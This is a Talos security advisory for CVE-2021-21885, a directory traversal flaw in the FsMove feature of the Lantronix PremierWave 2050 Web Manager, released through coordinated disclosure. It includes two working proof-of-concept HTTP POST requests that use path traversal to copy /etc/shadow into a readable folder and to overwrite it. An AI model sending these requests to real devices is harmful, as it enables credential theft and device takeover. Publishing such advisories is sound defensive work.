Talos Vulnerability Report

TALOS-2021-1329

Lantronix PremierWave 2050 Web Manager FsMove directory traversal vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21885

Summary

A directory traversal vulnerability exists in the Web Manager FsMove functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially crafted HTTP request can lead to local file inclusion. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 Web Manager allows an authenticated and properly authorized user to move files around within a subdirectory of the device's filesystem, rooted at `/ltrx_user/`. The system attempts to limit the user from interacting with files located outside of the `/ltrx_user/` directory by sanitizing some, but not all, of the attacker-controlled HTTP Post parameters. This feature is only accessible to users with the `filesystem` privilege.

A combination of attacker-controlled HTTP parameters - `cwd` and `dst` - can be altered to include path traversal primitives which will not be sanitized before composition of the final file paths and allows the attacker to move arbitrary files into arbitrary locations, including the `/ltrx_user/` directory where they can be read by any authenticated user, regardless of permission.

The below request will move `/etc/shadow` into `/ltrx_user/shadow`.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 79
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=FsMove&src=shadow&dst=../ltrx_user/shadow&submit=Move&cwd=/../etc/
```

Conversely, it is also possible to upload a file into `/ltrx_user/` and then use this vulnerability to move the file into an arbitrary destination within the filesystem.

The below request will overwrite `/etc/shadow` with `/ltrx_user/shadow`.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 79
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=FsMove&src=../ltrx_user/shadow&dst=shadow&submit=Move&cwd=/../etc/
```

Timeline

2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date
2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.
